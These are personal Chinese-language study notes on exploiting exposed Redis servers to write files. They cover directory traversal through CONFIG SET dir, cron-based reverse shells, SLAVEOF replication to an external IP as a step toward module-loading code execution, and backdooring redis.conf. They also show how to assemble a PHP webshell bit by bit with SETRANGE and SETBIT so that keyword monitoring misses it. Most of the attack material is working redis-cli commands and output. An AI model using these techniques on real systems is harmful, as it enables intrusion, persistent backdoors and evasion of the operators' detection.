个人学习笔记1:
主题:redis写文件:
大量知识参考:http://redisdoc.com/
查看redis所有配置选项
config get \*
127.0.0.1:6379\> CONFIG GET \*
1) "dbfilename"
2) "dump.rdb"
3) "requirepass"
4) ""
5) "masterauth"
6) ""
7) "unixsocket"
8) ""
9) "logfile"
10) ""
11) "pidfile"
12) ""
13) "slave-announce-ip"
14) ""
15) "maxmemory"
16) "0"
17) "maxmemory-samples"
18) "5"
19) "timeout"
20) "0"
21) "auto-aof-rewrite-percentage"
22) "100"
23) "auto-aof-rewrite-min-size"
24) "67108864"
25) "hash-max-ziplist-entries"
26) "512"
27) "hash-max-ziplist-value"
28) "64"
29) "list-max-ziplist-size"
30) "\-2"
31) "list-compress-depth"
32) "0"
33) "set-max-intset-entries"
34) "512"
35) "zset-max-ziplist-entries"
36) "128"
37) "zset-max-ziplist-value"
38) "64"
39) "hll-sparse-max-bytes"
40) "3000"
41) "lua-time-limit"
42) "5000"
43) "slowlog-log-slower-than"
44) "10000"
45) "latency-monitor-threshold"
46) "0"
47) "slowlog-max-len"
48) "128"
49) "port"
50) "6379"
51) "tcp-backlog"
52) "511"
53) "databases"
54) "16"
55) "repl-ping-slave-period"
56) "10"
57) "repl-timeout"
58) "60"
59) "repl-backlog-size"
60) "1048576"
61) "repl-backlog-ttl"
62) "3600"
63) "maxclients"
64) "10000"
65) "watchdog-period"
66) "0"
67) "slave-priority"
68) "100"
69) "slave-announce-port"
70) "0"
71) "min-slaves-to-write"
72) "0"
73) "min-slaves-max-lag"
74) "10"
75) "hz"
76) "10"
77) "cluster-node-timeout"
78) "15000"
79) "cluster-migration-barrier"
80) "1"
81) "cluster-slave-validity-factor"
82) "10"
83) "repl-diskless-sync-delay"
84) "5"
85) "tcp-keepalive"
86) "300"
87) "cluster-require-full-coverage"
88) "yes"
89) "no-appendfsync-on-rewrite"
90) "no"
91) "slave-serve-stale-data"
92) "yes"
93) "slave-read-only"
94) "yes"
95) "stop-writes-on-bgsave-error"
96) "yes"
97) "daemonize"
98) "no"
99) "rdbcompression"
100) "yes"
101) "rdbchecksum"
102) "yes"
103) "activerehashing"
104) "yes"
105) "protected-mode"
106) "yes"
107) "repl-disable-tcp-nodelay"
108) "no"
109) "repl-diskless-sync"
110) "no"
111) "aof-rewrite-incremental-fsync"
112) "yes"
113) "aof-load-truncated"
114) "yes"
115) "maxmemory-policy"
116) "noeviction"
117) "loglevel"
118) "notice"
119) "supervised"
120) "no"
121) "appendfsync"
122) "everysec"
123) "syslog-facility"
124) "local0"
125) "appendonly"
126) "no"
127) "dir"
128) "/Users/qixin01/Downloads/redis-3.2.9/src"
129) "save"
130) "3600 1 300 100 60 10000"
131) "client-output-buffer-limit"
132) "normal 0 0 0 slave 268435456 67108864 60 pubsub 33554432 8388608 60"
133) "unixsocketperm"
134) "0"
135) "slaveof"
136) ""
137) "notify-keyspace-events"
138) ""
139) "bind"
140) ""
这边查看一共发现有140/2项
redis配置选项详解:
https://www.cnblogs.com/AlanLee/p/5924783.html
redis写文件注意点:
常规的:写计划任务,写ssh公钥
发现依赖了选项1和选项127,我们涉及到写文件离不开dir和dbfilename:
常规的不想提了,如ssh公钥和写计划任务
说点小技巧:
(1)关于dir选项:
dir声明目录支持../跳目录:
127.0.0.1:6379\> CONFIG SET dir /Users/\*\*/Desktop/log4jScan/../
OK
127.0.0.1:6379\> CONFIG SET dbfilename redis\_test2
OK
127.0.0.1:6379\> set payload "hello"
OK
127.0.0.1:6379\> save
OK
查看文件:
写文件发现,查看文件的时候:
发现有个前缀标识符:redis-bits?@?ctime,因为官方说明save,默认保存的是rdb文件,redis-bits?@?ctime就是rdb标识符,实战可以把它看成脏数据
(2)不要轻易尝试计划任务写bash反弹:
计划任务bash反弹是存在安全风险的
如下图所示:
如果尝试以这种方法写bash反弹,会导致覆盖原来有的crontab计划任务,大家可以本地测试下就知道了
极其不推荐直接写到/var/spool/cron,一旦运维在crontab中配置了一些脚本启动,盲目的覆盖,会对业务产生极大的破坏
正确的做法是:选择一个开发不常用的计划任务:
以centos7为例子:
对应的含义如下:每天/每日/每小时/每月/每周
可以写文件到/etc/cron.hourly/
可以覆盖0anacron文件 or 创建一个可执行的sh文件
覆盖0anacron,正常情况下,没人会在这里写计划任务,可以覆盖它:
创建可执行sh文件:如下所示:
这样就不会覆盖文件,比较保险
(3)redis 4.x/5.x ,redis 3.x不受影响 主从复制shell 选项(135) slaveof
主从复制优点:外部加载模块,可以落地无损文件,而不会有所谓的”脏数据”
redis module load是新特性,redis 3.x不存在
主从复制尽量保持redis版本一致:
什么是主从复制?
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
redis的持久化使得机器即使重启数据也不会丢失,因为redis服务器重启后会把硬盘上的文件重新恢复到内存中,但是如果硬盘的数据被删除的话数据就无法恢复了,如果通过主从复制就能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。
利用攻击:
127.0.0.1:6379\> SLAVEOF 119.45.227.86 6379
127.0.0.1:6379\> CONFIG GET slaveof
1) "slaveof"
2) "119.45.227.86 6379"
127.0.0.1:6379\> get b
"123"
127.0.0.1:6379\>
同步给119.45.227.86:6379,保证6379开启
119.45.227.86:6379 客户端配置:
127.0.0.1:6379\> CONFIG SET protected-mode no
OK
远程在119.45.227.86:6379上操作:
127.0.0.1:6379\> CONFIG SET protected-mode no
OK
127.0.0.1:6379\> set ddd 123
OK
127.0.0.1:6379\>
本地127.0.0.1:6379客户端查看是否同步成功:
127.0.0.1:6379\> get b
"123"
127.0.0.1:6379\> get ddd
"123"
127.0.0.1:6379\> get ddd
"123"
利用rce:https://paper.seebug.org/975/
linux就是加载so模块
windows就是加载dll模块
(4)还可以写文件到哪里?
除了ssh公钥/计划任务/网站绝对路径
1.覆盖写redis.conf中的配置选项,在管理员下次重启的时候生效,当作隐藏后门文件
.......
redis 隐蔽写文件bypass 敏感词监控研究:
需求如下:
需求:替换a为b
方法(1)redis setrange:
127.0.0.1:6379\> set name a
OK
127.0.0.1:6379\> get name
"a"
127.0.0.1:6379\> SETRANGE name 0 b
(integer) 1
127.0.0.1:6379\> get name
"b"
redis写shell 敏感/特殊词监控 bypass:
127.0.0.1:6379\> set shell "<?> phpinfx();?>"
OK
127.0.0.1:6379\> SETRANGE shell 2 "php p"
(integer) 16
127.0.0.1:6379\> get shell
"<?php pinfx();?>"
127.0.0.1:6379\> SETRANGE shell 6 "phpinfo();"
(integer) 16
127.0.0.1:6379\> get shell
"<?php phpinfo();"
127.0.0.1:6379\> SETRANGE shell 15 ";?>"
(integer) 18
127.0.0.1:6379\> get shell
"<?php phpinfo();?>"
127.0.0.1:6379\>
这种是比较简单的,但是不够隐蔽,使用redis自带的语句监控MOITIOR命令还是可以明显很看出来:
monitor命令解释:实时打印出 Redis 服务器接收到的命令,调试用
更隐蔽的替换方法:
方法2:redis setbit命令:
先从修改a为b开始:
setbit的使用比setrange复杂的多,先了解前置知识:
ascii码表:
http://c.biancheng.net/c/ascii/
想要把a替换成b:
怎么做?
查询ascii码表,寻找a和b的对应的ascii 十进制:
a=ascii 97
b=ascii 98
十进制转换二进制:https://tool.lu/hexconvert/
ascii 97=01100001 = a
ascii 98=01100010 = b
如果想把a修改成b,对比发现两个值之间只有第六个位置和第七个位置不一样,所以我们只要修改第六个位置的0改成1,把第七个位置的1改成0,初始值键从0开始:
127.0.0.1:6379\> set name a
OK
127.0.0.1:6379\> SETBIT name 6 1
(integer) 0
127.0.0.1:6379\> SETBIT name 7 0
(integer) 1
127.0.0.1:6379\> get name
"b"
127.0.0.1:6379\>
这样修改内容,就比方法1更隐蔽
如果是是多个字符串,怎么修改其中某个值?
例子如下:
修改tett为test:
怎么做?
步骤如下:
(1)tett依次转换成ascii码表
t\=116
e\=101
t\=116
t\=116
(2)test依次抓换成ascii码表
t\=116
e\=101
s\=115
t\=116
(3)tett ascii码 十进制依次转换成2进制:
t\=116\=01110100
e\=101\=01100101
t\=116\=01110100
t\=116\=01110100
(4)test ascii码 十进制依次转换成2进制:
t\=116\=01110100
e\=101\=01100101
s\=115\=01110011
t\=116\=01110100
最后对比(3)和(4)即可:
合并:
(3):01110100011001010111010001110100
(4):01110100011001010111001101110100
目前是(3)就是tett,变成test:
对比从0位置开始数:
127.0.0.1:6379\> set name "tett"
OK
127.0.0.1:6379\> SETBIT name 21 0
(integer) 1
127.0.0.1:6379\> SETBIT name 22 1
(integer) 0
127.0.0.1:6379\> SETBIT name 23 1
(integer) 0
127.0.0.1:6379\> get name
"test"
127.0.0.1:6379\>
查看语句监控:
隐蔽性很强,不能直接看到关键字
参考资料:
(1)https://mp.weixin.qq.com/s?__biz=MzIzOTE1ODczMg==&mid=2247484020&idx=1&sn=06db219408f093c65d252c506ad502df